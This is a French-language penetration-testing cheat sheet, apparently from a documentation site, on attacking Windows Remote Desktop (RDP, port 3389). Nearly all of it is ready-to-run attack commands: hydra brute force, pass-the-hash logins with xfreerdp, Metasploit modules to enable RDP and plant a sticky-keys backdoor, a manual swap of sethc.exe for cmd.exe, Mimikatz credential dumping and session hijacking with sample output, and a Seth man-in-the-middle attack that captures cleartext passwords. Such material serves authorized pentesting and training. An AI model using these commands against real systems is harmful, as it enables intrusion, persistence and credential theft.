🖥️RDP - port 3389
Scan
$ nmap -A -p3389 --script rdp-ntlm-info <target IP>
Connexion
rdesktop -u <username> <IP>
rdesktop -d <domain> -u <username> -p <password> <IP>
xfreerdp /u:[domain\]<username> /p:<password> /v:<IP>
xfreerdp /u:[domain\]<username> /pth:<hash> /v:<IP>
Screenshot sans idantifiants
$ crackmapexec rdp <target ip> --nla-screenshot
Bruteforce
$ hydra -L user.txt -P pass.txt <target IP> rdp
Attention: Tenter de brute force un service RDP peut entraîner le blocage des comptes
Post exploitation
Si on arrive à obtenir une session meterpreter sur la machine cible, il est possible de tenter d'activer la fonctionnalité de Remote Desktop Protocol via Metasploit.
msf6 > use post/windows/mange/enable_rdp
msf6 post(windows/manage/enable_rdp) > set username <username>
msf6 post(windows/manage/enable_rdp) > set password <password>
msf6 post(windows/manage/enable_rdp) > set session X
msf6 post(windows/manage/enable_rdp) > exploit
Persistance / Elevation de privilèges
La session créé avec le module enable_rdp aura de faible privilèges, on peut tenter une élévation de privilèges en exploitant les touches rémanentes par exemple.
il existe quelques variantes à cela, mais la plus courante commence par une réparation du démarrage de Windows, que ce soit à partir du système d'exploitation hôte ou d'un périphérique d'installation. De là, vous obtiendrez une fenêtre Cmd, et si tout se passe bien, vous devriez avoir suffisamment de privilèges pour apporter des modifications dans le dossier System32 .
Il ne vous reste plus qu'à remplacer l'exécutable Cmd (cmd.exe) par les Sticky Keys (sethc.exe
). Vous pouvez ensuite démarrer normalement dans le système d'exploitation et à partir de l'écran de verrouillage, une fois que vous avez appuyé 5 fois sur la touche Maj, une fenêtre Cmd apparaît. À partir de là, vous pouvez modifier le mot de passe de l'utilisateur ou exploiter la machine de toute autre manière que vous souhaitez.
Exploitation avec metasploit:
msf6 > use post/windows/manage/sticky_keys
msf6 post(windows/manage/sticky_keys) > set session X
msf6 post(windows/manage/sticky_keys) > exploit
Dump des identifiants
Avec Mimikatz:
mimikatz# privilege::debug
Privilege '20' OK
mimikatz# ts::mstsc
...
...
UserName 'user1'
Domain 'WIN-XXX'
Password 'passwd123'
Session hijacking
Avec Mimikatz:
mimikatz# privilege::debug
Privilege '20' OK
mimikatz# ts::sessions
...
...
...
Session: X -
state: Disconnected
user: user1 @ XXX
...
...
mimikatz# token::elevate
Token Id: 0
User name:
SID name: NT AUTHORITY\SYSTEM
mimikatz# ts::remote /id:X
MITM (Man-In-The-Middle)
Il est également possible de tenter de voler les idantifiants d'un utilisateur de RDP avec l'outil Seth.
ressource: https://github.com/SySS-Research/Seth
On aura également besoin d'installer dsniff si ce n'est pas déjà fait.
$ apt install dsniff
On va ensuite utiliser Seth de cette manière:
$ ./seth.sh <interface> <attacker IP> <target IP> <gateway IP| host IP>
Du point de vue de la cible, celle-ci ne verra aucune différence si ce n'est un message d'avertissement signalant une autorité de certificat incorrect mais qui ne lui empêchera pas de lancer la connexion. Si la cible clique sur "yes" pour se connecter l'attaquant recevra alors les identifiants entrés en clair.

Dernière mise à jour
Cet article vous a-t-il été utile ?